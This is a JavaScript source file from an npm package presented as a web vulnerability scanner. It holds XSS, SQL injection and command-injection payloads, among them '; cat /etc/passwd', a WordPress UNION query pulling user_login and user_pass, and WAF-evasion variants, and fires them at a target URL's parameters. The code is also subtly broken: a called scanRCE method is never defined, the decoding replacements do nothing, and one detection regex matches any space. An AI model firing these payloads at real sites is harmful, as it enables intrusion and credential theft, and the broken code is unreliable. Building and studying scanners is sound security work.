web-vuln-scanner
Version:
Advanced, lightweight web vulnerability scanner with smart detection and easy-to-use interface
805 lines (680 loc) • 23.7 kB
JavaScript
/**
* Advanced Vulnerability Detection Engine
* Smart detection, payload generation, and advanced scanning techniques
*/
class AdvancedDetectionEngine {
constructor(options = {}) {
this.options = options;
this.payloadDatabase = new PayloadDatabase();
this.contextAnalyzer = new ContextAnalyzer();
this.intelligentScanner = new IntelligentScanner();
this.learningEngine = new LearningEngine();
}
/**
* Smart vulnerability detection with context awareness
*/
async detectVulnerabilities(target, context) {
const results = [];
// Analyze context for smart scanning
const contextInfo = await this.contextAnalyzer.analyze(target, context);
// Generate targeted payloads based on context
const payloads = await this.payloadDatabase.generateTargeted(contextInfo);
// Run intelligent scanning
const scanResults = await this.intelligentScanner.scan(target, payloads, contextInfo);
// Apply machine learning for false positive reduction
const filteredResults = await this.learningEngine.filterResults(scanResults, contextInfo);
return filteredResults;
}
}
/**
* Dynamic Payload Generation System
*/
class PayloadDatabase {
constructor() {
this.payloadSets = {
xss: {
html: new Set(),
javascript: new Set(),
attribute: new Set(),
css: new Set(),
url: new Set(),
polyglot: new Set()
},
sqli: {
error_based: new Set(),
union_based: new Set(),
boolean_blind: new Set(),
time_based: new Set(),
second_order: new Set()
},
rce: {
command_injection: new Set(),
code_injection: new Set(),
deserialization: new Set(),
template_injection: new Set()
},
xxe: {
file_disclosure: new Set(),
ssrf: new Set(),
dos: new Set()
}
};
this.contextRules = new Map();
this.initializePayloads();
this.initializeContextRules();
}
initializePayloads() {
// Advanced XSS payloads with evasion techniques
this.payloadSets.xss.html.add('<svg onload=alert(1)>');
this.payloadSets.xss.html.add('<img src=x onerror=alert(1)>');
this.payloadSets.xss.html.add('<script>alert(String.fromCharCode(88,83,83))</script>');
this.payloadSets.xss.html.add('<iframe srcdoc="<script>alert(1)</script>">');
this.payloadSets.xss.html.add('<object data="javascript:alert(1)">');
// Context-aware XSS payloads
this.payloadSets.xss.javascript.add('\';alert(1);//');
this.payloadSets.xss.javascript.add('</script><script>alert(1)</script>');
this.payloadSets.xss.javascript.add('`alert(1)`');
this.payloadSets.xss.javascript.add('${alert(1)}');
this.payloadSets.xss.attribute.add('" onmouseover="alert(1)" "');
this.payloadSets.xss.attribute.add('\' onfocus=\'alert(1)\' \'');
this.payloadSets.xss.attribute.add('"><script>alert(1)</script>');
// Advanced SQL injection payloads
this.payloadSets.sqli.error_based.add('\' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e))--');
this.payloadSets.sqli.error_based.add('\' AND (SELECT * FROM (SELECT COUNT(*), CONCAT((SELECT version()), FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x) AS y)--');
this.payloadSets.sqli.union_based.add('\' UNION SELECT NULL, version(), NULL--');
this.payloadSets.sqli.union_based.add('\' UNION SELECT 1,2,3,4,5,6,7,8,9,10--');
this.payloadSets.sqli.time_based.add('\' AND (SELECT * FROM (SELECT SLEEP(5)) AS x)--');
this.payloadSets.sqli.time_based.add('\'; WAITFOR DELAY \'00:00:05\'--');
this.payloadSets.sqli.time_based.add('\' AND pg_sleep(5)--');
// RCE payloads
this.payloadSets.rce.command_injection.add('| whoami');
this.payloadSets.rce.command_injection.add('; cat /etc/passwd');
this.payloadSets.rce.command_injection.add('`id`');
this.payloadSets.rce.command_injection.add('$(uname -a)');
// Template injection payloads
this.payloadSets.rce.template_injection.add('{{7*7}}');
this.payloadSets.rce.template_injection.add('${7*7}');
this.payloadSets.rce.template_injection.add('#{7*7}');
this.payloadSets.rce.template_injection.add('<%=7*7%>');
}
initializeContextRules() {
// XSS context rules
this.contextRules.set('html_body', {
payloads: ['html', 'polyglot'],
priority: 'high',
techniques: ['tag_injection', 'event_handler']
});
this.contextRules.set('javascript_var', {
payloads: ['javascript'],
priority: 'high',
techniques: ['string_break', 'template_literal']
});
this.contextRules.set('html_attribute', {
payloads: ['attribute'],
priority: 'medium',
techniques: ['attribute_break', 'event_injection']
});
// SQL injection context rules
this.contextRules.set('url_parameter', {
payloads: ['error_based', 'union_based', 'boolean_blind'],
priority: 'high',
techniques: ['quote_break', 'numeric_injection']
});
this.contextRules.set('form_field', {
payloads: ['error_based', 'time_based'],
priority: 'high',
techniques: ['form_injection', 'blind_injection']
});
}
/**
* Generate targeted payloads based on context analysis
*/
async generateTargeted(contextInfo) {
const targetedPayloads = {
xss: [],
sqli: [],
rce: [],
xxe: []
};
// Generate XSS payloads based on context
if (contextInfo.xssContexts) {
for (const context of contextInfo.xssContexts) {
const rule = this.contextRules.get(context.type);
if (rule) {
for (const payloadType of rule.payloads) {
if (this.payloadSets.xss[payloadType]) {
targetedPayloads.xss.push(...Array.from(this.payloadSets.xss[payloadType]));
}
}
}
}
}
// Generate SQL injection payloads
if (contextInfo.sqlContexts) {
for (const context of contextInfo.sqlContexts) {
const rule = this.contextRules.get(context.type);
if (rule) {
for (const payloadType of rule.payloads) {
if (this.payloadSets.sqli[payloadType]) {
targetedPayloads.sqli.push(...Array.from(this.payloadSets.sqli[payloadType]));
}
}
}
}
}
// Add framework-specific payloads
if (contextInfo.framework) {
const frameworkPayloads = this.getFrameworkPayloads(contextInfo.framework);
Object.keys(frameworkPayloads).forEach(vulnType => {
if (targetedPayloads[vulnType]) {
targetedPayloads[vulnType].push(...frameworkPayloads[vulnType]);
}
});
}
// Add WAF evasion payloads if WAF detected
if (contextInfo.wafDetected) {
const evasionPayloads = this.getWAFEvasionPayloads(contextInfo.wafType);
Object.keys(evasionPayloads).forEach(vulnType => {
if (targetedPayloads[vulnType]) {
targetedPayloads[vulnType].push(...evasionPayloads[vulnType]);
}
});
}
return targetedPayloads;
}
getFrameworkPayloads(framework) {
const frameworkPayloads = {
wordpress: {
xss: [
'"><script>alert("WP-XSS")</script>',
'[caption code=">alert(1)"]',
'{{7*7}}'
],
sqli: [
'\' AND (SELECT * FROM wp_users WHERE 1)--',
'\' UNION SELECT user_login, user_pass FROM wp_users--'
]
},
drupal: {
xss: [
'"><script>alert("Drupal-XSS")</script>',
'<?php echo "XSS"; ?>',
'{% set a = "alert(1)" %}{{ a|raw }}'
]
},
laravel: {
rce: [
'{{7*7}}',
'{{ system("id") }}',
'<?php system("whoami"); ?>'
]
}
};
return frameworkPayloads[framework] || {};
}
getWAFEvasionPayloads(wafType) {
const evasionPayloads = {
cloudflare: {
xss: [
'<svg/onload=alert(1)>',
'<img src=x onerror=alert(String.fromCharCode(88,83,83))>',
'<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>'
],
sqli: [
'\'\tunion\tselect\t1,2,3--',
'\'\u0020union\u0020select\u00201,2,3--',
'\'/**/union/**/select/**/1,2,3--'
]
},
akamai: {
xss: [
'<ScRiPt>alert(1)</ScRiPt>',
'<img src="x" onerror="alert(1)">',
'<svg><script>alert(1)</script>'
]
}
};
return evasionPayloads[wafType] || evasionPayloads.cloudflare;
}
}
/**
* Context Analysis Engine
*/
class ContextAnalyzer {
constructor() {
this.patterns = {
framework: {
wordpress: [/wp-content/, /wp-includes/, /wp-admin/, /wp-json/],
drupal: [/sites\/default/, /modules/, /drupal/i],
laravel: [/laravel/, /artisan/, /blade\.php/],
symfony: [/symfony/, /sf_toolbar/],
rails: [/rails/, /ruby/],
django: [/django/, /python/],
react: [/react/, /jsx/, /_next/],
angular: [/angular/, /ng-/, / /],
vue: [/vue/, /nuxt/]
},
waf: {
cloudflare: [/cloudflare/, /cf-ray/],
akamai: [/akamai/, /akamai-ghost/],
aws: [/x-amzn/, /cloudfront/],
incapsula: [/incap_ses/, /visid_incap/]
}
};
}
async analyze(target, context) {
const analysis = {
url: target,
framework: null,
wafDetected: false,
wafType: null,
xssContexts: [],
sqlContexts: [],
technologies: [],
headers: context.headers || {},
content: context.content || ''
};
// Detect framework
analysis.framework = this.detectFramework(analysis);
// Detect WAF
const wafInfo = this.detectWAF(analysis);
analysis.wafDetected = wafInfo.detected;
analysis.wafType = wafInfo.type;
// Analyze XSS contexts
analysis.xssContexts = this.analyzeXSSContexts(analysis.content);
// Analyze SQL injection contexts
analysis.sqlContexts = this.analyzeSQLContexts(target, analysis.content);
// Detect technologies
analysis.technologies = this.detectTechnologies(analysis);
return analysis;
}
detectFramework(analysis) {
const content = analysis.content.toLowerCase();
const headers = analysis.headers;
for (const [framework, patterns] of Object.entries(this.patterns.framework)) {
for (const pattern of patterns) {
if (pattern.test(content) || pattern.test(analysis.url)) {
return framework;
}
}
// Check headers for framework indicators
const serverHeader = headers.server || '';
const poweredBy = headers['x-powered-by'] || '';
if (framework === 'wordpress' && (content.includes('wp-') || poweredBy.includes('WordPress'))) {
return framework;
}
if (framework === 'drupal' && content.includes('drupal')) {
return framework;
}
}
return null;
}
detectWAF(analysis) {
const headers = analysis.headers;
const content = analysis.content.toLowerCase();
for (const [wafType, patterns] of Object.entries(this.patterns.waf)) {
for (const pattern of patterns) {
if (pattern.test(content)) {
return { detected: true, type: wafType };
}
}
// Check specific headers
for (const [headerName, headerValue] of Object.entries(headers)) {
for (const pattern of patterns) {
if (pattern.test(headerName.toLowerCase()) || pattern.test(headerValue.toLowerCase())) {
return { detected: true, type: wafType };
}
}
}
}
return { detected: false, type: null };
}
analyzeXSSContexts(content) {
const contexts = [];
// HTML body context
if (content.includes('<body')) {
contexts.push({ type: 'html_body', confidence: 'high' });
}
// JavaScript variable context
const jsVarPattern = /<script[^>]*>.*?var\s+\w+\s*=\s*['"][^'"]*['"].*?<\/script>/gi;
if (jsVarPattern.test(content)) {
contexts.push({ type: 'javascript_var', confidence: 'high' });
}
// HTML attribute context
if (content.includes('value="') || content.includes('value=\'')) {
contexts.push({ type: 'html_attribute', confidence: 'medium' });
}
// CSS context
if (content.includes('<style') || content.includes('style="')) {
contexts.push({ type: 'css_context', confidence: 'medium' });
}
return contexts;
}
analyzeSQLContexts(url, content) {
const contexts = [];
// URL parameters
const urlObj = new URL(url);
if (urlObj.searchParams.size > 0) {
contexts.push({ type: 'url_parameter', confidence: 'high' });
}
// Form fields
const formPattern = /<form[^>]*>.*?<\/form>/gi;
if (formPattern.test(content)) {
contexts.push({ type: 'form_field', confidence: 'high' });
}
// AJAX endpoints
if (content.includes('$.ajax') || content.includes('fetch(') || content.includes('XMLHttpRequest')) {
contexts.push({ type: 'ajax_endpoint', confidence: 'medium' });
}
return contexts;
}
detectTechnologies(analysis) {
const technologies = [];
const content = analysis.content.toLowerCase();
const headers = analysis.headers;
// Database technologies
if (content.includes('mysql') || headers['x-powered-by']?.includes('mysql')) {
technologies.push('mysql');
}
if (content.includes('postgresql') || content.includes('postgres')) {
technologies.push('postgresql');
}
if (content.includes('mongodb') || content.includes('mongo')) {
technologies.push('mongodb');
}
// Programming languages
if (headers['x-powered-by']?.includes('php') || content.includes('<?php')) {
technologies.push('php');
}
if (headers.server?.includes('node') || content.includes('express')) {
technologies.push('nodejs');
}
if (content.includes('java') || headers.server?.includes('tomcat')) {
technologies.push('java');
}
return technologies;
}
}
/**
* Intelligent Scanner with adaptive techniques
*/
class IntelligentScanner {
constructor() {
this.adaptiveThresholds = {
response_time: 3000,
error_patterns: new Set(),
success_indicators: new Set()
};
}
async scan(target, payloads, contextInfo) {
const results = [];
// Adaptive scanning based on context
for (const [vulnType, vulnPayloads] of Object.entries(payloads)) {
if (vulnPayloads.length === 0) continue;
const scanResults = await this.scanVulnerabilityType(target, vulnType, vulnPayloads, contextInfo);
results.push(...scanResults);
}
return results;
}
async scanVulnerabilityType(target, vulnType, payloads, contextInfo) {
const results = [];
switch (vulnType) {
case 'xss':
return await this.scanXSS(target, payloads, contextInfo);
case 'sqli':
return await this.scanSQLInjection(target, payloads, contextInfo);
case 'rce':
return await this.scanRCE(target, payloads, contextInfo);
default:
return results;
}
}
async scanXSS(target, payloads, contextInfo) {
const results = [];
for (const payload of payloads) {
try {
const testUrl = this.injectPayload(target, payload);
const response = await this.makeRequest(testUrl);
// Check for XSS indicators
if (this.detectXSSSuccess(response, payload)) {
results.push({
type: 'xss',
severity: this.calculateSeverity('xss', contextInfo),
payload,
location: testUrl,
evidence: response.content.substring(0, 200),
confidence: this.calculateConfidence(response, payload)
});
}
} catch (error) {
// Log error but continue scanning
}
}
return results;
}
async scanSQLInjection(target, payloads, contextInfo) {
const results = [];
for (const payload of payloads) {
try {
const testUrl = this.injectPayload(target, payload);
const startTime = Date.now();
const response = await this.makeRequest(testUrl);
const responseTime = Date.now() - startTime;
// Check for SQL injection indicators
if (this.detectSQLInjectionSuccess(response, payload, responseTime)) {
results.push({
type: 'sql_injection',
severity: 'high',
payload,
location: testUrl,
evidence: this.extractSQLEvidence(response),
responseTime,
confidence: this.calculateConfidence(response, payload)
});
}
} catch (error) {
// Timeouts might indicate time-based SQL injection
if (error.code === 'TIMEOUT' && payload.includes('SLEEP')) {
results.push({
type: 'sql_injection_time_based',
severity: 'high',
payload,
location: target,
evidence: 'Request timeout indicating time-based SQL injection',
confidence: 'medium'
});
}
}
}
return results;
}
injectPayload(url, payload) {
const urlObj = new URL(url);
// Inject into URL parameters
for (const [param, value] of urlObj.searchParams.entries()) {
urlObj.searchParams.set(param, payload);
break; // Test first parameter
}
return urlObj.toString();
}
async makeRequest(url) {
const fetch = (await import('node-fetch')).default;
const response = await fetch(url, {
timeout: 30000,
headers: {
'User-Agent': 'Mozilla/5.0 (compatible; WebVulnScanner/2.0)',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
}
});
const content = await response.text();
return {
status: response.status,
headers: Object.fromEntries(response.headers.entries()),
content
};
}
detectXSSSuccess(response, payload) {
// Check if payload is reflected in response
if (response.content.includes(payload)) {
return true;
}
// Check for HTML-decoded payload
const decodedPayload = payload.replace(/</g, '<').replace(/>/g, '>').replace(/"/g, '"');
if (response.content.includes(decodedPayload)) {
return true;
}
// Check for JavaScript execution indicators
if (payload.includes('alert') && response.content.includes('<script>')) {
return true;
}
return false;
}
detectSQLInjectionSuccess(response, payload, responseTime) {
// Error-based detection
const sqlErrors = [
/sql syntax.*mysql/i,
/valid mysql result/i,
/mysqlclient\./i,
/postgresql.*error/i,
/warning.*pg_/i,
/valid postgresql result/i,
/npgsql\./i,
/driver.*sql.*server/i,
/ole db.*sql server/i,
/(\[sql server\])/i,
/macromedia.*driver.*sql server/i,
/ora-\d{4,5}/i,
/oracle.*driver/i,
/oracle.*db2/i,
/sqlite.*error/i,
/sqlite.*exception/i
];
for (const pattern of sqlErrors) {
if (pattern.test(response.content)) {
return true;
}
}
// Time-based detection
if (payload.includes('SLEEP') || payload.includes('WAITFOR')) {
if (responseTime > 4000) { // 4+ seconds indicates successful time-based injection
return true;
}
}
// Union-based detection
if (payload.includes('UNION') && response.content.length > 1000) {
return true;
}
return false;
}
extractSQLEvidence(response) {
const errorPatterns = [
/mysql.*error.*line \d+/i,
/ora-\d{4,5}[:\s][^\r\n]*/i,
/microsoft.*odbc.*sql server.*driver/i,
/postgresql.*error/i
];
for (const pattern of errorPatterns) {
const match = response.content.match(pattern);
if (match) {
return match[0].substring(0, 200);
}
}
return 'SQL error indicators detected';
}
calculateSeverity(vulnType, contextInfo) {
const baseSeverity = {
xss: 'medium',
sql_injection: 'high',
rce: 'critical'
};
let severity = baseSeverity[vulnType] || 'medium';
// Increase severity based on context
if (contextInfo.framework === 'wordpress' || contextInfo.framework === 'drupal') {
severity = this.increaseSeverity(severity);
}
if (contextInfo.wafDetected) {
severity = this.increaseSeverity(severity); // Bypassing WAF is more severe
}
return severity;
}
increaseSeverity(currentSeverity) {
const levels = ['low', 'medium', 'high', 'critical'];
const currentIndex = levels.indexOf(currentSeverity);
return levels[Math.min(currentIndex + 1, levels.length - 1)];
}
calculateConfidence(response, payload) {
let confidence = 0.5; // Base confidence
// Increase confidence based on response indicators
if (response.content.includes(payload)) {
confidence += 0.3;
}
if (response.status >= 500) {
confidence += 0.2;
}
// Normalize to confidence levels
if (confidence >= 0.8) return 'high';
if (confidence >= 0.6) return 'medium';
return 'low';
}
}
/**
* Machine Learning Engine for False Positive Reduction
*/
class LearningEngine {
constructor() {
this.falsePositivePatterns = new Set();
this.truePositiveIndicators = new Set();
this.initializePatterns();
}
initializePatterns() {
// Common false positive patterns
this.falsePositivePatterns.add(/404.*not found/i);
this.falsePositivePatterns.add(/403.*forbidden/i);
this.falsePositivePatterns.add(/500.*internal server error/i);
// True positive indicators
this.truePositiveIndicators.add(/alert.*executed/i);
this.truePositiveIndicators.add(/sql.*syntax.*error/i);
this.truePositiveIndicators.add(/command.*executed/i);
}
async filterResults(results, contextInfo) {
const filteredResults = [];
for (const result of results) {
const confidence = this.assessResultConfidence(result, contextInfo);
if (confidence >= 0.6) { // Threshold for inclusion
result.mlConfidence = confidence;
filteredResults.push(result);
}
}
return filteredResults;
}
assessResultConfidence(result, contextInfo) {
let confidence = 0.5; // Base confidence
// Check against false positive patterns
for (const pattern of this.falsePositivePatterns) {
if (pattern.test(result.evidence || '')) {
confidence -= 0.3;
}
}
// Check for true positive indicators
for (const indicator of this.truePositiveIndicators) {
if (indicator.test(result.evidence || '')) {
confidence += 0.3;
}
}
// Context-based adjustments
if (contextInfo.framework && result.payload.toLowerCase().includes(contextInfo.framework)) {
confidence += 0.2;
}
if (contextInfo.wafDetected && result.confidence === 'high') {
confidence += 0.1; // WAF bypass is significant
}
return Math.max(0, Math.min(1, confidence));
}
}
module.exports = {
AdvancedDetectionEngine,
PayloadDatabase,
ContextAnalyzer,
IntelligentScanner,
LearningEngine
};